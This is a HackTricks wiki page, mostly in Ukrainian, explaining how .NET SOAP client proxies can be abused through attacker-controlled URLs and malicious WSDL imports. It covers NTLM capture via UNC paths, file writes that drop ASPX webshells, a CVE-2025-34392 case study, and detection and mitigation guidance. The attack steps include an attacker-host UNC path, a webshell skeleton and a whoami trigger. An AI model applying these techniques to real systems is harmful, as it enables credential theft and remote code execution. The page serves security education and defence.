.NET SOAP/WSDL Client Proxy Abuse
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
TL;DR
SoapHttpClientProtocol,DiscoveryClientProtocoland friends inherit fromHttpWebClientProtocol, whoseGetWebRequest()returns the scheme-agnosticWebRequestinstance produced byWebRequest.Create()without enforcingHttpWebRequest.- If an attacker controls the proxy
Url, the framework silently swaps inFileWebRequest,FtpWebRequestor UNC/SMB handlers, turning “HTTP” proxies into NTLM leak gadgets or arbitrary file writers. - Any feature that imports attacker-supplied WSDL with
ServiceDescriptionImportercompounds the bug: the WSDL controls the generated proxy constructor, SOAP methods, complex types and namespaces, enabling pre-auth RCE (webshells, script drops) in products such as Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell and SSIS.
Root cause: HttpWebClientProtocol is scheme-agnostic
WebClientProtocol.GetWebRequest() does var req = WebRequest.Create(uri) and returns it untouched. HttpWebClientProtocol.GetWebRequest() tries req as HttpWebRequest to set HTTP-only fields, but it still returns the original req even when the cast fails. Therefore the runtime obeys whatever scheme is present in Url:
http(s)://→HttpWebRequestfile:///or\\host\share\→FileWebRequestftp://→FtpWebRequest
SoapHttpClientProtocol.Invoke() then streams the SOAP POST body through whatever transport handler was selected, even if that means writing to disk or over SMB.
Primitive 1 – NTLM capture / relay via UNC targets
- Отримати контроль над
SoapHttpClientProtocol.Url(безпосереднє присвоєння, значення конфігу, рядок у базі даних тощо). - Вказати його на UNC шлях типу
file://attacker.local/sink/payload. - CLR відкриває шлях через SMB і виконує інтегровану автентифікацію, витікає NTLM challenge/response до атакуючого.
- Використати захоплені хеші для offline cracking або NTLM relay (SMB/HTTP) якщо signing/EPA відключені.
Це застосовується до будь-якого .NET SOAP/HTTP proxy шляху, що приймає ввід від користувача, навіть якщо подальша ескалація неможлива.
Primitive 2 – Arbitrary file writes via file://
- Встановити
Url = "file:///inetpub/wwwroot/poc.aspx"(або будь-який записуваний шлях) перед викликом проксі. - Викликати будь-який SOAP метод; framework запише весь SOAP envelope у вказаний шлях, перезаписуючи існуючі файли.
- Аргументи, контрольовані користувачем, з’являються всередині XML елементів, що дозволяє завантажувати CSHTML/ASPX payload-и або отруювати конфігураційні файли.
Обмеження:
- Контент завжди XML; скалярні поля entity-encoded, тому інжекція
<script>через прості рядки потребує додаткових прийомів. - Для значущих payload-ів потрібен принаймні один аргумент під контролем атакуючого або можливість змінити сигнатуру методу (див. WSDL abuse).
Runtime часто кидає помилку Client found response content type of 'application/octet-stream', but expected 'text/xml' після запису — трактуйте цю помилку як IOC.
Weaponizing WSDL imports
Auto-generated proxies via ServiceDescriptionImporter
Багато продуктів надають функцію “custom web service”, яка приймає URL WSDL, далі:
ServiceDescription.Read()читає WSDL, контрольований атакуючим.ServiceDescriptionImporterгенерує C# proxy класи, що наслідуютьSoapHttpClientProtocol.- CodeDOM компілює проксі, а reflection викликає потрібний метод.
Атакуючий повністю контролює:
soap:address/soap12:addresslocation→ стаєbase.Url(можна вказатиfile://або UNC шляхи).- Імена методів, списки параметрів, комплексні типи та серіалізатори.
- Namespace URI, які потрапляють як
xmlns:*атрибути в кожне SOAP повідомлення.
Перевірки схеми не відбуваються, тому кожен згенерований проксі успадковує початкову вразливість.
Shaping the SOAP envelope for RCE
- Complex type serialization: Визначте власні структури у WSDL так, щоб коли
XmlSerializerповторно серіалізує їх, вони генерували елементні імена/атрибути, вибрані атакуючим. Для завантаження ASPX webshell-ів — створіть типи, які серіалізуються у:
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>
і вкажіть Url на file:///.../webroot/shell.aspx, щоб отримати RCE.
- Namespace injection: Навіть коли аргументи жорстко прописані (наприклад, Umbraco Forms), namespace-и, оголошені у WSDL (наприклад,
xmlns:tns="http://host/service?x=@{...}"), копіюються дослівно в SOAP envelope. Кодування payload-ів всередині query string namespace дозволяє скидати CSHTML Razor або PowerShell скрипти без контролю над параметрами.
Ці техніки були використані в експлоїті Barracuda Service Center RMM (CVE-2025-34392): анонімний SOAP виклик надіслав шкідливий WSDL, встановив soap12:address на file:///Program Files/.../SCMessaging/poc.aspx, вколов <script runat="server"> через комплексні параметри і завантажив webshell, який виконував довільні cmd.exe команди.
Typical attack workflow
- Виявити функціональність, що приймає URL WSDL або дозволяє користувачам конфігурувати SOAP endpoints (наприклад, Barracuda
InvokeRemoteMethod, Ivanti EPM connectors, Umbraco 8 Forms datasources, PowerShellNew-WebServiceProxy). - Розмістити шкідливий WSDL, чий
soap:addressвказує на записуваний шлях або UNC share і чия схема визначає методи/типи зручні для payload-ів. - Спровокувати імпорт/компіляцію. Ціль згенерує proxy DLL з конструктором і методами під контролем атакуючого.
- Коли застосунок викликає згенерований метод, SOAP запит серіалізується і записується у шлях, вказаний атакуючим, вбудовуючи payload.
- Виконати скинутий файл (відкрити
poc.aspx?cmd=whoami, завантажити CSHTML, або дозволити PowerShell виконати скрипт) або повторно використати захоплені NTLM дані.
Detection & hunting
- Static analysis: Знайти
ServiceDescriptionImporter,SoapHttpClientProtocol,HttpWebClientProtocol, абоNew-WebServiceProxy. Відстежити, звідки берутьсяUrlабо WSDL входи — будь-який контроль користувача є тривожним сигналом. - Runtime telemetry:
- Інструментувати створення проксі для логування схем; піднімати тривогу при
file,ftpабо UNC значеннях. - Моніторити характерні помилки
Client found response content type of 'application/octet-stream', but expected 'text/xml'після SOAP викликів. - Слідкувати за несподіваними
.aspx/.cshtml/.ps1записами в директоріях застосунку, виконаними від імені ідентичності веб-сервера. - Network/file сигнали: SMB підключення, ініційовані веб-серверами до інфраструктури атакуючого, або раптова компіляція тимчасових proxy DLL часто передують експлуатації.
Mitigations
- Enforce transport validation before invoking any
HttpWebClientProtocol-derived proxy:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
- Sanitize imported WSDL: Proxy downloads through a broker that rewrites or rejects
soap:addressentries that are not HTTP/S, drops unknown bindings, and forbids namespace payload tricks. - Disable untrusted WSDL features: Replace “upload a WSDL” conveniences with vetted, server-side templates or allowlists.
- Segregate write locations: Ensure app pools cannot write into executable directories; use separate volumes for data vs. code so that file-write primitives do not become RCE.
- Harden NTLM exposure: Disable outbound SMB where possible; otherwise enforce SMB signing, EPA and other relay mitigations.
References
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


